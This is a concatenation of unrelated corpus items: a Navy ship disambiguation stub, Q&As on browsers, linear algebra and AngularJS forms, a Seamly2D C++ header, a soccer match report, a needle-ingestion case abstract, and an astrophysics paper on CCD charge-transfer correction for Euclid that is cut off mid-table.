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USS Calvert
USS Calvert may refer to:
, was a motor boat that served in World War I
, served in World War II
Category:United States Navy ship names | {
"pile_set_name": "Wikipedia (en)"
} |
Q:
Alternative to Firefox and Chrome with an element inspector?
Assuming that
Mozilla is not trustworthy,
Chrome isn't any better, because Google …,
Chromium isn't any better just because it's open source, after all Firefox is open source,
is there any browser that:
is trustworthy
is open source, free and none profit
works on Linux (I'm on Fedora)
supports basic extensions like ad-blocker and LastPass
has an element inspector for programmers like me
is fast, and relatively lightweight?
A:
The problem with "trustworthy" is that trust isn't something one can be recommended to...it's something that you gotta have. (I didn't watch the video but I'm sure you can technically do a rant about just any application/OS developer based on some mess ups...)
But what I would suggest is taking a look on some of the more popular browsers based on the Chromium project as well as on the Mozilla browser project, but not controlled in any way by these big corporations/organizations.
On the Chromium end of things, there's Brave and Vivaldi. While from Firefox there are Pale Moon and Waterfox.
| {
"pile_set_name": "StackExchange"
} |
/***************************************************************************
* *
* Copyright (C) 2017 Seamly, LLC *
* *
* https://github.com/fashionfreedom/seamly2d *
* *
***************************************************************************
**
** Seamly2D is free software: you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation, either version 3 of the License, or
** (at your option) any later version.
**
** Seamly2D is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with Seamly2D. If not, see <http://www.gnu.org/licenses/>.
**
**************************************************************************
************************************************************************
**
** @file vtooluniondetails.h
** @author Roman Telezhynskyi <dismine(at)gmail.com>
** @date 26 12, 2013
**
** @brief
** @copyright
** This source code is part of the Valentine project, a pattern making
** program, whose allow create and modeling patterns of clothing.
** Copyright (C) 2013-2015 Seamly2D project
** <https://github.com/fashionfreedom/seamly2d> All Rights Reserved.
**
** Seamly2D is free software: you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation, either version 3 of the License, or
** (at your option) any later version.
**
** Seamly2D is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with Seamly2D. If not, see <http://www.gnu.org/licenses/>.
**
*************************************************************************/
#ifndef VTOOLUNIONDETAILS_H
#define VTOOLUNIONDETAILS_H
#include <qcompilerdetection.h>
#include <QDomElement>
#include <QDomNode>
#include <QMetaObject>
#include <QObject>
#include <QPointF>
#include <QString>
#include <QVector>
#include <QtGlobal>
#include "../ifc/ifcdef.h"
#include "../ifc/xml/vabstractpattern.h"
#include "../vmisc/def.h"
#include "vabstracttool.h"
#include "../vpatterndb/vpiece.h"
class DialogTool;
struct VToolUnionDetailsInitData
{
VToolUnionDetailsInitData()
: d1id(NULL_ID),
d2id(NULL_ID),
indexD1(NULL_ID),
indexD2(NULL_ID),
scene(nullptr),
doc(nullptr),
data(nullptr),
parse(Document::FullParse),
typeCreation(Source::FromFile),
retainPieces(false)
{}
quint32 d1id;
quint32 d2id;
quint32 indexD1;
quint32 indexD2;
VMainGraphicsScene *scene;
VAbstractPattern *doc;
VContainer *data;
Document parse;
Source typeCreation;
bool retainPieces;
};
/**
* @brief The VToolUnionDetails class tool union details.
*/
class VToolUnionDetails : public VAbstractTool
{
Q_OBJECT
public:
static VToolUnionDetails *Create(QSharedPointer<DialogTool> dialog, VMainGraphicsScene *scene,
VAbstractPattern *doc, VContainer *data);
static VToolUnionDetails *Create(const quint32 _id, const VToolUnionDetailsInitData &initData);
static const QString ToolType;
static const QString TagDetail;
static const QString TagNode;
static const QString TagChildren;
static const QString TagChild;
static const QString AttrIndexD1;
static const QString AttrIndexD2;
static const QString AttrIdObject;
static const QString AttrNodeType;
static const QString NodeTypeContour;
static const QString NodeTypeModeling;
virtual QString getTagName() const Q_DECL_OVERRIDE;
virtual void ShowVisualization(bool show) Q_DECL_OVERRIDE;
virtual void incrementReferens() Q_DECL_OVERRIDE;
virtual void decrementReferens() Q_DECL_OVERRIDE;
virtual void GroupVisibility(quint32 object, bool visible) Q_DECL_OVERRIDE;
public slots:
/**
* @brief FullUpdateFromFile update tool data form file.
*/
virtual void FullUpdateFromFile () Q_DECL_OVERRIDE {}
virtual void AllowHover(bool) Q_DECL_OVERRIDE {}
virtual void AllowSelecting(bool) Q_DECL_OVERRIDE {}
protected:
virtual void AddToFile() Q_DECL_OVERRIDE;
virtual void SetVisualization() Q_DECL_OVERRIDE {}
private:
Q_DISABLE_COPY(VToolUnionDetails)
/** @brief d1 first detail id. */
quint32 d1id;
/** @brief d2 second detail id. */
quint32 d2id;
/** @brief indexD1 index edge in first detail. */
quint32 indexD1;
/** @brief indexD2 index edge in second detail. */
quint32 indexD2;
VToolUnionDetails(quint32 id, const VToolUnionDetailsInitData &initData, QObject *parent = nullptr);
void AddDetail(QDomElement &domElement, const VPiece &d) const;
void AddToModeling(const QDomElement &domElement);
QVector<quint32> GetReferenceObjects() const;
QVector<quint32> ReferenceObjects(const QDomElement &root, const QString &tag, const QString &attribute) const;
};
#endif // VTOOLUNIONDETAILS_H
| {
"pile_set_name": "Github"
} |
— The formation of Atlanta dates back to 1836, when the State of Georgia decided to build a railroad to the U.S. Midwest. A stake driven into the ground marked the rail line’s “terminus,” and the settlement that grew up around it eventually became the city of Atlanta, incorporated in 1847.
Another train-themed endeavor terminated in Atlanta Saturday evening, as the increasingly hapless Carolina RailHawks fell to the Atlanta Silverbacks 2-1 and saw their already dwindling playoff hopes tumble down the NASL table.
If you’re keeping track at home, that’s another early RailHawks lead lost to multiple goals surrendered during a defensive lapse lasting mere minutes. Rinse-repeat.
The visiting RailHawks grabbed a surprise lead less than a minute into the match. Atlanta goalkeeper Steward Ceus’ clearance collided directly off an oncoming Tyler Engel and ricocheted across the goal line. The former North Carolina Tar Heel took a bow for his first professional goal as the RailHawks led 1-0.
In the 22nd minute, RailHawks center back Futty Danso absorbed a ball to his midsection, forcing him to leave the game for Austen King. With that tidbit posed for cause-and-effect purposes, Atlanta equalized in the 31st minute. A through ball was played ahead to midfielder Jaime Chavez charging up the left channel. Chavez centered to Pedro Mendes, who maneuvered right of defender Connor Tobin and slotted a shot under diving Carolina keeper Akira Fitzgerald to even the match at 1-1.
Three minutes later, Chavez settled a ball in the box before playing it back to forward Kyle Porter stationed near the outer left corner of the area. Porter calmly flew his one-timer into the far right netting to put the Silverbacks up 2-1, a lead that would last until intermission.
The scoreless second half saw the RailHawks muster a few promising chances that only managed to ding the woodwork. In the 52nd minute, Nacho Novo blasted a shot from distance off the crossbar, and Engel’s follow-up header sailed over goal. Nazmi Albadawi uncorked a nifty left-footer in the 57th minute that chipped paint. Blake Wagner had one on a plate from 17 yards out in the 64th minute, but his curler skimmed the top of the net. In the 70th minute, Austin da Luz delivered a low burner snared by a diving Ceus.
Finally, Tiyi Shipalane executed a tremendous drive off the left wing in the 76th minute, winding up inside the box. But he pushed his sure-shot wide right.
Carolina has only one win over their last 10 matches, with seven losses and two draws over that same span. On the bright side, the RailHawks only surrendered two goals to Atlanta, snapping a streak of six losses in which Carolina has allowed three goals in the game.
The RailHawks (6-8-10, 26 pts.) slide to eighth place in the combined NASL season standings, with seven points and three other teams separating Carolina from the final league playoff spot, currently occupied by the Tampa Bay Rowdies. With just six games left in their regular season, the RailHawks stagger back to WakeMed Soccer Park next Saturday to host the Ottawa Fury, the first of three straight home games.
BOX SCORE
CAR: Fitzgerald, Low, Tobin, Danso (King, 25’), Wagner (Bracalello, 80’), Hlavaty, Albadawi, Shipalane, Engel (Da Silva, 62’), da Luz, Novo
ATL: Ceus, Black, Mensing, Reed, Burgos, Abdul Bangura, Kimura, Paulo Mendes (Mravec,74’), Pedro Mendes (Okafor, 83’), Chavez (Shaka Bangura, 69’), Porter
GOALS
CAR: Engel, 1’
ATL: Pedro Mendes, 31’ (Chavez); Porter, 34’ (Chavez)
CAUTIONS
CAR: Engel (49’); Tobin (90’)
ATL: Chavez (25’); Mravec (90’)
EJECTIONS
CAR: --
ATL: --
ATTENDANCE: 4,322 | {
"pile_set_name": "OpenWebText2"
} |
Q:
Prove that the set $\left\{ x, Ax, \dots, A^{k-1} x \right\}$ is linearly independent
Problem: Let $A\in M_{n\times n}(\mathbb R)\,$ be a matrix and suppose that a positive number $k\,$ exists such that $A^k = 0\,$ and $A^{k-1} \neq 0$.
Suppose that $x=\left[ \begin{matrix} x_1 \\ \vdots \\ x_n \end{matrix} \right]$ is a vector in $\mathbb{R^n}$ such that $A^{k-1} x \neq 0$.
Prove that the $k\,$ vectors $\,x,Ax,\dots,A^{k-1}x\,$ are linearly independent.
My attempt: Suppose $x + Ax + \dots + A^{k-1}x = 0$. Multiply both sides with $A^{k-1}$. Then we have $A^{k-1}x + A^k (x + Ax + \dots + A^{k-2}x) = 0 \Leftrightarrow A^{k-1}x = 0 \Leftrightarrow x = 0$
which implies $x + Ax + \dots + A^{k-1}x\,$ is linear independent.
This problem looks quite easy but I want my proof to be checked. Is it correct?
A:
Take $\alpha_0,\ldots,\alpha_{k-1}\in\mathbb R$ and suppose that$$\alpha_0x+\alpha_1Ax+\alpha_{k-1}A^{k-1}x=0.\tag1$$Then $A^{k-1}(\alpha_0x+\alpha_1Ax+\alpha_{k-1}A^{k-1}x)=0$, but this means that $\alpha_0A^{k-1}x=0$ and, since $A^{k-1}x\neq0$, $\alpha_0=0$. So, $(1)$ means that$$\alpha_1Ax+\alpha_2A^2x+\alpha_{k-1}A^{k-1}x=0.\tag2$$Now, start all over again, multiplying $(2)$ by $A^{k-2}$ and so on.
| {
"pile_set_name": "StackExchange"
} |
Final destination of an ingested needle: the liver.
Foreign body ingestion is a common problem in children, but it is also seen among adults. Most foreign bodies pass through the gastrointestinal tract without causing complications. Perforation of the gut by a foreign body, followed by migration of the foreign body to the liver is quite rare. Herein we report a case of inadvertent ingestion of a sewing needle that perforated the duodenum and migrated to the liver. The patient was monitored weekly with abdominal radiographs, but displacement of the needle could not be observed. At follow-up, right upper quadrant pain was noted. Two weeks later, computed tomography revealed that the needle was completely buried into the right lobe of the liver. Ultrasonographic examination successfully showed the extracapsular displacement of the needle. Eventually, laparoscopic removal of the needle was easily performed. | {
"pile_set_name": "PubMed Abstracts"
} |
{#sp1 .999}
{#sp2 .1000}
{#sp3 .1001}
{#sp4 .1002}
{#sp5 .1003}
{#sp6 .1004}
| {
"pile_set_name": "PubMed Central"
} |
Q:
Can I give an ng-form a name that I can check with $pristine?
I looked at the documentation for ng-form:
http://docs.angularjs.org/api/ng.directive:ngForm
But it gives me almost no examples and I am still very confused. What I would like to do is to have a table with input fields and then check if fields on the table are unchanged? I don't want to include this in a form so I was wondering if I can use ng-form.
My HTML looks like this:
<form name="itemForm">
<table>
....
</table>
<button type="submit" data-ng-disabled="itemForm.$pristine">
</form>
Can I do this with an ng-form directive enclosed in a DIV and still set the name in the same way?
A:
Yes you can do it with ng-form directive also
Demo: Fiddle
| {
"pile_set_name": "StackExchange"
} |
---
abstract: |
Radiation damage to space-based Charge-Coupled Device (CCD) detectors creates defects which result in an increasing Charge Transfer Inefficiency (CTI) that causes spurious image trailing. Most of the trailing can be corrected during post-processing, by modelling the charge trapping and moving electrons back to where they belong. However, such correction is not perfect – and damage is continuing to accumulate in orbit. To aid future development, we quantify the limitations of current approaches, and determine where imperfect knowledge of model parameters most degrade measurements of photometry and morphology.
As a concrete application, we simulate $1.5\times10^{9}$ “worst case” galaxy and $1.5\times10^{8}$ star images to test the performance of the *Euclid* visual instrument detectors. There are two separable challenges: If the model used to correct CTI is perfectly the same as that used to add CTI, $99.68$ % of spurious ellipticity is corrected in our setup. This is because readout noise is not subject to CTI, but gets over-corrected during correction. Second, if we assume the first issue to be solved, knowledge of the charge trap density within $\Delta\rho/\rho\!=\!(0.0272\pm0.0005)$%, and the characteristic release time of the dominant species to be known within $\Delta\tau/\tau\!=\!(0.0400\pm0.0004)$% will be required. This work presents the next level of definition of in-orbit CTI calibration procedures for *Euclid*.
author:
- |
Holger Israel$^{1,2,*}$, Richard Massey$^{1,3}$, Thibaut Prod’homme$^{4}$, Mark Cropper$^{5}$ Oliver Cordes$^{6}$, Jason Gow$^{7}$, Ralf Kohley$^{8}$, Ole Marggraf$^{6}$, Sami Niemi$^{5}$, Jason Rhodes$^{9}$, Alex Short$^{4}$, Peter Verhoeve$^{4}$\
$^{1}$Institute for Computational Cosmology, Durham University, South Road, Durham DH1 3LE, UK\
$^{2}$Centre for Extragalactic Astronomy, Durham University, South Road, Durham DH1 3LE, UK\
$^{3}$Centre for Advanced Instrumentation, Durham University, South Road, Durham DH1 3LE, UK\
$^{4}$European Space Agency, ESTEC, Keplerlaan 1, 2200AG Noordwijk, The Netherlands\
$^{5}$Mullard Space Science Laboratory, University College London, Holmbury St Mary, Dorking, Surrey RH5 6NT, UK\
$^{6}$Argelander-Institut für Astronomie, Universität Bonn, Auf dem Hügel 71, 53121 Bonn, Germany\
$^{7}$e2v Centre for Electronic Imaging, The Open University, Walton Hall, Milton Keynes MK7 6AA, UK\
$^{8}$European Space Agency, ESAC, P.O. Box 78, 28691 Villanueva de la Cañada, Madrid, Spain\
$^{9}$Jet Propulsion Laboratory, California Institute of Technology, 4800 Oak Grove Drive, Pasadena, CA 91109, United States\
$^{*}$e-mail: [[email protected]]{}
bibliography:
- 'CTICorr\_v13.bib'
date: 'Accepted —. Received —; in original form . '
title: |
How well can Charge Transfer Inefficiency be corrected?\
A parameter sensitivity study for iterative correction
---
\[firstpage\]
Introduction
============
The harsh radiation environment above the Earth’s atmosphere gradually degrades all electronic equipment, including the sensitive Charge-Coupled Device (CCD) imaging detectors used in the [*Hubble Space Telescope*]{} (HST) and [*Gaia*]{} [@2008IAUS..248..217L], and proposed for use by [*Euclid*]{} [@2011arXiv1110.3193L]. CCD detectors work by collecting photoelectrons which are stored within a pixel created by an electrostatic potential well. After each exposure these electrons are transferred via a process called clocking, where alternate electrodes are held high and low to move charge through the pixels towards the serial register. The serial register is then clocked towards the output circuit where charge-to-voltage conversion occurs providing an output signal dependent on the charge contained within a pixel. The amount of charge lost with each transfer is described by the Charge Transfer Inefficiency (CTI). One of the results of radiation-induced defects within the silicon lattice is the creation of charge traps at different energy levels within the silicon band-gap. These traps can temporarily capture electrons and release them after a characteristic delay, increasing the CTI. Any electrons captured during charge transfer can re-join a charge packet later, as spurious charge, often observed as a charge tail behind each source.
Charge trailing can be (partially) removed during image postprocessing. Since charge transfer is the last process to happen during data acquisition, the fastest and most successful attempts to correct CTI take place as the second step of data reduction, right after the analogue-digital converter bias has been subtracted. [@2003astro.ph.10714B]. By modelling the solid-state physics of the readout process in [*HST*]{}’s [*Advanced Camera for Surveys*]{} (ACS), then iteratively reversing the model, @2010MNRAS.401..371M demonstrated a $10$-fold reduction in the level of charge trailing. The algorithm was sped up by @2010PASP..122.1035A and incorporated into STScI’s [*HST*]{} default analysis pipeline [@2012AAS...21924101S]. As the radiation damage accumulated, the trailing got bigger and easier to measure. With an updated and more accurate [*HST*]{} model, @2010MNRAS.409L.109M achieved a $20$-fold reduction. In an independent programme for [*Gaia*]{}, @2013MNRAS.430.3078S developed a model using different underlying assumptions about the solid-state physics in CCDs. @2014MNRAS.439..887M created a meta-algorithm that could reproduce either approach through a choice of parameters, and optimised these parameters for [*HST*]{} to correct $98$% of the charge trailing.
The current level of achievable correction is acceptable for most immediate applications. However, radiation damage is constantly accumulating in [*HST*]{} and [*Gaia*]{}; and increasing accuracy is required as datasets grow, and statistical uncertainties shrink. One particularly challenging example of stringent requirements in future surveys will be the measurement of faint galaxy shapes by [*Euclid*]{}.
In this paper, we investigate the effect of imperfect CTI correction, on artificial images with known properties. We add charge trailing to simulated data using a CTI model $\mathbf{M}$, then correct the data using a CTI model with imperfectly known parameters, $\mathbf{M}+\delta\mathbf{M}$. After each stage, we compare the measured photometry (flux) and morphology (size and shape) of astronomical sources to their true (or perfectly-corrected) values. We develop a general model to predict these errors based on the errors in CTI model parameters. We focus on the the most important parameters of a ‘volume-driven’ CTI model: the density $\rho_{i}$ of charge traps, the characteristic time $\tau_{i}$ in which they release captured electrons, and the power law index $\beta$ describing how an electron cloud fills up the physical pixel volume.
This paper is organised as follows. In Sect. \[sec:simulations\], we simulate *Euclid* images and present our analysis methods. In Sect. \[sec:estim\], we address the challenge of measuring an average ellipticity in the presence of strong noise. We present our CTI model and measure the CTI effects as a function of trap release timescale $\tau$ in Sect. \[sec:modcorr\]. Based on laboratory measurements of an irradiated CCD273 [@2012SPIE.8453E..04E], we adopt a baseline trap model $\mathbf{M}$ for the *Euclid* VIS instrument (Sect. \[sec:euclid\]). In this context, we discuss how well charge trailing can be removed in the presence of readout noise. We go on to present our results for the modified correction model ($\mathbf{M}+\delta\mathbf{M}$) and derive tolerances in terms of the trap parameters based on *Euclid* requirements. We discuss these results in Sect. \[sec:disc\] and conclude in Sect. \[sec:conclusion\].
Simulations and data analysis {#sec:simulations}
=============================
Simulated galaxy images {#sec:imsim}
-----------------------
{width="150mm"}
Charge Transfer Inefficiency has the greatest impact on small, faint objects that are far from the readout register (i.e. that have undergone a great number of transfers). To quantify the worst case scenario, we therefore simulate the smallest, faintest galaxy whose properties are likely to be measured – with an exponential flux profile $f(r)\propto\mathrm{e}^{-r}$ whose broad wings (compared to a Gaussian or de Vaucouleurs profile) also make it more susceptible to CTI. To beat down shot noise, we simulate $10^{7}$ noisy image realisations for each measurement. We locate these galaxies $2048\pm0.5$pixels from both the serial readout register and the amplifier, uniformly randomising the sub-pixel centre to average out effects that depend on proximity to a pixel boundary. All our simulated galaxies have the same circularly symmetric profile, following the observation by @2010PASP..122..439R that this produces the same mean result as randomly oriented elliptical galaxies with no preferred direction.
We create the simulated images spatially oversampled by a factor 20, convolve them with a similarly oversampled Point Spread Function (PSF), then resample them to the final pixel scale. We use a preliminary PSF model and the $0\farcs1$pixels of the *Euclid* VIS instrument, but our setup can easily be adapted to other instruments, e.g. ACS. To the image signal of $\sim\!\!1300$ electrons, we add a uniform sky background of $105$ electrons, as expected for a $560\,$s VIS exposure, and Poisson photon noise to both the source and the background. After clocking and charge trailing (if it is being done; see Sect. \[sec:trailing\]), we then add additional readout noise, which follows a Gaussian distribution with a root mean square (rms) of $4.5$electrons, the nominal *Euclid* VIS value.
In the absence of charge trailing, the final galaxies have mean $S/N$=$11.35$, and Full Width at Half Maximum (FWHM) size of $0\farcs18$, as measured by `SExtractor` . This size, the same as the PSF, at the small end of the range expected from Fig. 4 of @2013MNRAS.429..661M makes our galaxies the most challenging in terms of CTI correction. Examples of input, degraded, and corrected images are shown in Fig. \[fig:sampleimage\].
Separately, we perform a second suite of simulations, containing $10^{6}$ realisations of a *Euclid* VIS PSF at $S/N\!\approx\!200$. The PSF simulations follow the above recipe, but skip the convolution of the PSF with an exponential disk.
Image analysis {#sec:dataflow}
--------------
On each of the sets of images (input, degraded, and corrected), we detect the sources using `SExtractor`. Moments of the brightness distribution and fluxes of the detected objects are measured using an `IDL` implementation of the RRG [@2001ApJ...552L..85R] shape measurement method. RRG is more robust than `SExtractor` for faint images, combining Gaussian-weighted moments of the image $I(\btheta)$ to measure integrated source flux $$\label{eq:fmom}
F\equiv\!\int{W(\btheta)\,I(\btheta)\,\mathrm{d}^{2}\btheta},$$ where $W(\btheta)$ is a Gaussian weight function with standard deviation $w$, and the integral extends over $2.5w$; the position $$\label{eq:xymom}
y\equiv\!\int{ \theta_2\, W(\btheta)\,I(\btheta)\,\mathrm{d}^{2}\btheta};$$ the size $$\label{eq:rmom}
R^{2}\equiv Q_{11}+Q_{22};$$ and the ellipticity $$\label{eq:chidef}
\{e_1,e_2\}\equiv \left\{\frac{Q_{11}-Q_{22}}{Q_{11}+Q_{22}},\frac{2Q_{12}}{Q_{11}+Q_{22}}\right\},$$ where the second-order brightness moments are $$\label{eq:qmom}
Q_{\alpha\beta}\!=\!\int{\theta_{\alpha}\,\theta_{\beta}\,W(\btheta)\,I(\btheta)\,\mathrm{d}^{2}\btheta},
\qquad\{\alpha,\beta\}\!\in\!\{1,2\}.$$ For measurements on stars, we chose a window size $w\!=\!0\farcs75$, the *Euclid* prescription for stars. For galaxies, we seek to reproduce the window functions used in weak lensing surveys. We adopt the radius of the `SExtractor` object [e.g. @2007ApJS..172..219L] that with $w\!=\!0\farcs34$ truncates more of the noise and thus returns more robust measurements.
Note that we are measuring a raw galaxy ellipticity, a proxy for the (reduced) shear, in which we are actually interested [cf. @2012MNRAS.423.3163K for a recent overview of the effects a cosmic shear measurement pipeline needs to address]. A full shear measurement pipeline must also correct ellipticity for convolution by the telescope’s PSF and calibrate it via a shear ‘responsivity factor’ [@1995ApJ...449..460K]. The first operation typically enlarges $e$ by a factor of $\sim1.6$ and the second lowers it by about the same amount. Since this is already within the precision of other concerns, we shall ignore both conversions The absolute calibration of shear measurement with RRG may not be sufficiently accurate to be used on future surveys. However, it certainly has sufficient [*relative*]{} accuracy to measure small deviations in galaxy ellipticity when an image is perturbed.
High precision ellipticity measurements {#sec:estim}
=======================================
Measurements of a non-linear quantity
-------------------------------------
A fundamental difficulty arises in our attempt to measure galaxy shapes to a very high precision, by averaging over a large number of images. Mathematically, the problem is that calculating ellipticity $e_{1}$ directly from the moments and then taking the expectation value $\mathcal{E}(\cdot)$ of all objects, i.e.: $$\label{eq:simpleell}
e_{1}=\mathcal{E}\!\left(\frac{Q_{11}-Q_{22}}{Q_{11}+Q_{22}}\right),\quad
e_{2}=\mathcal{E}\!\left(\frac{2Q_{12}}{Q_{11}+Q_{22}}\right),$$ means dividing one noisy quantity by another noisy quantity. Furthermore, the numerator and denominator are highly correlated. If the noise in each follows a Gaussian distribution, and their expectation values are zero, the probability density function of the ratio is a Lorentzian (also known as Cauchy) distribution. If the expectation values of the Gaussians are nonzero, as we expect, the ratio distribution becomes a generalised Lorentzian, called the Marsaglia-Tin distribution [@Marsaglia65; @Marsaglia:2006:JSSOBK:v16i04; @Tin65]. In either case, the ratio distribution has infinite second and first moments, i.e. its variance – and even its expectation value – are undefined. Implications of this for shear measurement are discussed in detail by @2012MNRAS.424.2757M [@2012MNRAS.425.1951R; @2012MNRAS.427.2711K; @2013MNRAS.429.2858M; @2014MNRAS.439.1909V].
Therefore, we cannot simply average over ellipticity measurements for $10^{7}$ simulated images. The mean estimator (Eq. \[eq:simpleell\]) would not converge, but follow a random walk in which entries from the broad wings of the distribution pull the average up or down by an arbitrarily large amount.
“Delta method” (Taylor expansion) estimators for ellipticity
------------------------------------------------------------
As an alternative estimator, we employ what is called in statistics the ‘delta method’: a Taylor expansion of Eq. (\[eq:simpleell\]) around the expectation value of the denominator [e.g. @casella+berger:2002]. The expectation value of the ratio of two random variables $X$, $Y$ is thus approximated by: $$\begin{gathered}
\label{eq:deltamethod}
\mathcal{E}(X/Y)\!\approx\!\frac{\mathcal{E}(X)}{\mathcal{E}(Y)}
-\frac{\mathcal{C}(X,Y)}{\mathcal{E}^{2}(Y)}
+\frac{\mathcal{E}(X)\sigma^{2}(Y)}{\mathcal{E}^{3}(Y)}\\
+\frac{\mathcal{C}(X,Y^{2})}{\mathcal{E}^{3}(Y)}
-\frac{\mathcal{E}(X)\mathcal{E}[Y-\mathcal{E}(Y)]^{3}}{\mathcal{E}^{4}(Y)}\end{gathered}$$ where $\mathcal{E}(X)$, $\sigma(X)$, $\sigma^{2}(X)$ denote the expectation value, standard deviation, and variance of $X$, and $\mathcal{C}(X,Y)$ its covariance with $Y$. The zero-order term in Eq. (\[eq:deltamethod\]) is the often-used approximation $\mathcal{E}(X/Y)\approx\mathcal{E}(X)/\mathcal{E}(Y)$ that switches the ratio of the averages for the average of the ratio. We note that beginning from the first order there are two terms per order with opposite signs. Inserting Eq. (\[eq:qmom\]) into Eq. (\[eq:deltamethod\]), the first-order estimator for the ellipticity reads in terms of the brightness distribution moments $Q_{\alpha\beta}$ as follows: $$\begin{aligned}
\label{eq:estim}
\begin{split}
e_{1} =& \frac{\mathcal{E}(Q_{11}\!-\!Q_{22})}{\mathcal{E}(Q_{11}\!+\!Q_{22})} \\
&- \frac{\sigma^{2}(Q_{11})\!-\!\sigma^{2}(Q_{22})}{\mathcal{E}^{2}(Q_{11}\!+\!Q_{22})} +
\frac{\mathcal{E}(Q_{11}\!-\!Q_{22})\sigma^{2}(Q_{11}\!+\!Q_{22})}{\mathcal{E}^{3}(Q_{11}\!+\!Q_{22})}
\end{split}\\
\begin{split}\label{eq:estim_e2}
e_{2} =& \frac{\mathcal{E}(2Q_{12})}{\mathcal{E}(Q_{11}\!+\!Q_{22})}\\
&- \frac{\mathcal{C}(Q_{11},Q_{12})\!+\!\mathcal{C}(Q_{12},Q_{22})}{\mathcal{E}^{2}(Q_{11}\!+\!Q_{22})} +
\frac{\mathcal{E}(2Q_{12})\sigma^{2}(Q_{11}\!+\!Q_{22})}{\mathcal{E}^{3}(Q_{11}\!+\!Q_{22})},
\end{split}\end{aligned}$$
with the corresponding uncertainties, likewise derived using the delta method [e.g. @casella+berger:2002]:
$$\begin{aligned}
\label{eq:formal}
\begin{split}
\sigma^{2}(e_{1}) =& \frac{\sigma^{2}(Q_{11}\!-\!Q_{22})}{\mathcal{E}^{2}(Q_{11}\!+\!Q_{22})}\\
&- \frac{\mathcal{E}(Q_{11}\!-\!Q_{22})\left[\sigma^{2}(Q_{11})\!-\!\sigma^{2}(Q_{22})\right]}
{\mathcal{E}^{3}(Q_{11}\!+\!Q_{22})} \\
&+\frac{\mathcal{E}^{2}(Q_{11}\!-\!Q_{22})\sigma^{2}(Q_{11}\!+\!Q_{22})}{\mathcal{E}^{4}(Q_{11}\!+\!Q_{22})}
\end{split} \\
\begin{split} \label{eq:formal_e2}
\sigma^{2}(e_{2}) =& \frac{\sigma^{2}(Q_{11}\!+\!Q_{22})}{\mathcal{E}^{2}(Q_{11}\!+\!Q_{22})}\\
&- \frac{\mathcal{E}(Q_{11}\!+\!Q_{22})\left[\mathcal{C}(Q_{11},Q_{12})\!+
\!\mathcal{C}(Q_{12},Q_{22})\right]}{\mathcal{E}^{3}(Q_{11}\!+\!Q_{22})} \\
&+\frac{\mathcal{E}^{2}(Q_{11}\!+\!Q_{22})\sigma^{2}(Q_{11}\!+\!Q_{22})}{\mathcal{E}^{4}(Q_{11}\!+\!Q_{22})}\quad.
\end{split}\end{aligned}$$
Application to our simulations {#sec:sigmas}
------------------------------
For our input galaxies, the combined effect of the first-order terms in eq. (\[eq:estim\]) is $\sim\!10$ %. Second-order contributions to the estimator are small, so we truncate after the first order. However, because of the divergent moments of the Marsaglia-Tin distribution, the third and higher-order contributions to the Taylor series increase again.
Nevertheless, while this delta-method estimator neither mitigates noise bias nor overcomes the infinite moments of the Marsaglia-Tin distribution at a fundamental level, it sufficiently suppresses the random walk behaviour for the purposes of this study, the averaging over noise realisations of the same object. We advocate re-casting the *Euclid* requirements in terms of the *Stokes parameters* [$Q_{11}\pm Q_{22},2Q_{12}$; @2014MNRAS.439.1909V]. These are the numerators and denominator of eq. (\[eq:simpleell\]) and are well-behaved Gaussians with finite first and second moments.
The formal uncertainties on ellipticity we quote in the rest of this article are the standard errors $\sigma(e_{1})/\sqrt{N}$ given by eq. (\[eq:formal\]). Our experimental setup of re-using the same simulated sources (computationally expensive due to the large numbers needed), our measurements will be intrinsically correlated (Sect. \[sec:corr\]). Hence the error bars we show overestimate the true uncertainties.
The effects of fast and slow traps {#sec:modcorr}
==================================
How CTI is simulated {#sec:trailing}
--------------------
The input images are degraded using a `C` implementation of the @2014MNRAS.439..887M CTI model. During each pixel-to-pixel transfer, in a cloud of $n_{\mathrm{e}}$ electrons, the number captured is $$\label{eq:nenc}
n_{\mathrm{c}}(n_{\mathrm{e}}) =
\left(1-\exp{\left(-\alpha n_{\mathrm{e}}^{1\!-\!\beta}\right)}\right)
\sum_{i}\rho_{i}
\left(\frac{n_{\mathrm{e}}}{w}\right)^{\beta},$$ where the sum is over different charge trap species with density $\rho_i$ per pixel, and $w$ is the full-well capacity. Parameter $\alpha$ controls the speed at which electrons are captured by traps within the physical volume of the charge cloud, which grows in a way determined by parameter $\beta$ .
Release of electrons from charge traps is modelled by a simple exponential decay, with a fraction $1-\mathrm{e}^{(-1/\tau_{i})}$ escaping during each subsequent transfer. The characteristic release timescale $\tau_{i}$ depends on the physical nature of the trap species and the operating temperature of the CCD.
In this paper, we make the simplifying ‘volume-driven’ assumption that charge capture is instantaneous, so $\alpha\!\!=\!\!0$. Based on laboratory studies of an irradiated VIS CCD (detailed in Sect. \[sec:labdata\]), we adopt a $\beta\!=\!0.58$ baseline well fill, and end-of-life total density of one trap per pixel, $\rho\!=\!1$. In our first, general tests, we investigate a single trap species and explore the consequences of different values of $\tau$.
Iterative CTI correction {#sec:corr}
------------------------
{width="155mm"}
[lccccccc]{} & $A$ & $D_{\mathrm{a}}$ & $D_{\mathrm{p}}$ & $D_{\mathrm{w}}$ & $G_{\mathrm{a}}$ & $G_{\mathrm{p}}$ & $G_{\mathrm{w}}$\
\
$\Delta F/F_{\mathrm{true}}$ & $-0.5367\pm0.0098$ & $-0.3144\pm0.0085$& $6.199\pm0.044$ & $4.639\pm0.260$ & $0.2116\pm0.0194$ & $49.53\pm1.64$ & $41.54\pm2.39$\
$\Delta y$ & $1.1098\pm0.0014$ & $-0.5291\pm0.0028$ & $8.392\pm0.080$ & $2.110\pm0.234$ & $0.3061\pm0.0185$ & $6.935\pm0.402$ & $7.083\pm0.210$\
